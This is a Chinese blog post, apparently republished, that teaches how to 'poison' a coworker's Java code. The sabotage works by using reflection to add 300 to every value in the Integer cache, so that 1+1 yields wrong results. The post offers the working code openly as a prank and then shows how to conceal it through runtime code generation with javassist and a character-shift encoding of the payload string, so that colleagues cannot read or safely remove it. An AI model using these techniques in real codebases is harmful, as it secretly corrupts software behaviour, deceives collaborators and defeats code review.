给同事代码中下毒:1+1竟等于4

给同事代码中下毒:1+1竟等于4,第1张

给同事代码中下毒:1+1竟等于4

Java绝命毒师称号的由来

   代码风骚,口若悬河,擅长怼项目经理搞定甲方,其中代码下毒尤为精通!一天因为左脚进公司被老板安排上了!大丈夫生于天地之间岂能抑郁久居他人之下?

    某夜的凌晨2点,项目突然挂掉服务器开始宕机,主备用服务器切换,没扛过1分钟备用服务器也开始宕机。项目经理,技术经理,架构师,DBA抢修7天7夜,竟不知问题所在。

    卒于入职第三天,从此退出江湖!

文末有福利哦!

我们看下下毒后的效果

    public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, ClassNotFoundException {        // 下毒        virus();        Integer a = 1;        Integer b = 2;        System.out.println( "a+b="+(a+b) );        Integer c = 300;        Integer d = 400;        System.out.println( "c+d="+(c+d) );    }

运行结果

a+b=603c+d=700

工作原理

利用Integer享元设计模式中的缓存,我们将缓存中数据进行更改。查看Integer的源码,中有一个内部类IntegerCache的cache数组存放缓存数据。从最小值-128到最大值127间范围内数据,存储到cache缓存中。

 Integer a  = 1 是怎样读取缓存cache的呢?这里有一个自动装箱,Java编译器的解语法糖。Integer a = 1 将被编译器转换成Integer a = Integer.valueOf(1);我们看一下方法valueOf的源码。

 如果int值在缓存范围内,既-128到127中。那么我们从内部类的缓存中获取。否则,创建对象。这就是Java的享元设计模式,将使用频率较高的int值进行缓存。

反射修改缓存

    public static void virus() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {        // 反射内部类        Class cls = Class.forName("java.lang.Integer$IntegerCache");        // 反射字段        Field field = cls.getDeclaredField("cache");        // 强制访问        field.setAccessible(true);        Integer []cache = (Integer[])field.get(cls);        // 反射修改数据库的值        for (int i = 0; i < cache.length; i++) {            cache[i] = cache[i]+300;        }   }

    但是很容易被发现,我们同事一旦读到源码!就会发现,大事不对!

隐写术

    我们可以使用javassist技术,这是一个修改字节码的框架。我们将反射的代码用javassist生成,并采用算法对关键字符串进行加密。这样我们的同事,就真的完全看不懂我们代码在干嘛了!

恶意代码:已经做了整理,为了规避框架缺陷,使用手动拆箱装箱。

Class cls = Class.forName("java.lang.Integer$IntegerCache");java.lang.reflect.Field field = cls.getDeclaredField("cache");field.setAccessible(true);Integer []cache = (Integer[])field.get(cls);for (int i = 0; i < cache.length; i++)   cache[i] = new Integer(cache[i].intValue()+300);

定义一个空类,帮助我们触发恶意代码的加载

package work.liziyun;public class Virus {}

javassist执行恶意代码​​​​​​​

public static void virusByJavassist(String code) throws NotFoundException, CannotCompileException, ClassNotFoundException, IllegalAccessException, InstantiationException, NoSuchFieldException, IOException {    ClassPool pool = ClassPool.getDefault();    CtClass ctClass = pool.get("work.liziyun.Virus");    CtConstructor ctConstructor = ctClass.makeClassInitializer();    ctConstructor.setBody(code);    Loader classLoader = new Loader(pool);    Class newClass = classLoader.loadClass(ctClass.getName());    Object o = newClass.newInstance();}

运行:这个案例并没有加密,下一个案例我们会加密!使得别人更难读懂!​​​​​​​

public class Run{        virusByJavassist("{Class cls = Class.forName("java.lang.Integer$IntegerCache");java.lang.reflect.Field field = cls.getDeclaredField("cache");field.setAccessible(true);Integer []cache = (Integer[])field.get(cls);for (int i = 0; i < cache.length; i++) cache[i] = new Integer(cache[i].intValue()+300); }");        Integer a = 1;        Integer b = 2;        System.out.println(a+b);    }}

加密隐写术

    我们的反射代码,别人一眼就看出,你不对劲!想想办法将代码隐藏起来,对字符串进行简单加密处理!

加密解密算法​​​​​​​

public static char[] encode(String str){    char[] chars = str.toCharArray();    for (int i = 0; i < chars.length; i++) {        chars[i] = (char) (chars[i]+'1');    }    return chars;}
public static String decode(String str){    char[] chars = str.toCharArray();    for (int i = 0; i < chars.length; i++) {        chars[i] = (char)(chars[i]-'1');    }    return new String(chars);}

提前获取加密的字符串

System.out.println(encode("{Class cls = Class.forName("java.lang.Integer$IntegerCache");java.lang.reflect.Field field = cls.getDeclaredField("cache");field.setAccessible(true);Integer []cache = (Integer[])field.get(cls);for (int i = 0; i < cache.length; i++) cache[i] = new Integer(cache[i].intValue()+300); }"));
输出结果:¬t¤¤Q¤QnQt¤¤_ £YS§__z¥£Uz¥£tSZl§__£¥_wQQnQ¤_¥u£wYSSZl_¤¥r¤¤Y¥£¦Zlz¥£QQnQYz¥£Z_¥Y¤Zl £QY¥QQnQalQQmQ_¥lQ\ZQQnQ¨Qz¥£Y_¥¦YZdaaZlQ®

运行:​​​​​​​

public class Run{        virusByJavassist(decode("¬t¤¤Q¤QnQt¤¤_ £YS§__z¥£Uz¥£tSZl§__£¥_wQQnQ¤_¥u£wYSSZl_¤¥r¤¤Y¥£¦Zlz¥£QQnQYz¥£Z_¥Y¤Zl £QY¥QQnQalQQmQ_¥lQ\ZQQnQ¨Qz¥£Y_¥¦YZdaaZlQ®"));        Integer a = 1;        Integer b = 2;        System.out.println(a+b);    }}

高难度 *** 作

    ASM字节码框架,基于指令去生成恶意代码,同时要注意局部变量表大小和栈深度。难度较大,有兴趣的同学可以自行研究!啦啦啦啦啦了!看到这个咱们同事应该要哭了,看又看不懂,删又不敢删!

展望未来

        目前咱们的恶意代码并非完全无解,仔细debug可以看到解密后的逻辑,进行分析也可以推理出这是一段恶意代码。道高一尺,魔高一仗。逻辑混淆,打包加密,各种花活大家可以自行探索研究!秀到同事头皮发麻,哈哈哈哈!

文末福利

耗时三个月整理了这份资料主要包含了Java基础,数据结构,jvm,多线程等等,由于篇幅有限,以下只展示小部分面试题,有需要完整版的朋友可以点一点链接跳转领取点击领取备注一下:csdn即可免费获取!

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/zaji/5119355.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-11-17
下一篇 2022-11-17

发表评论

登录后才能评论

评论列表(0条)

保存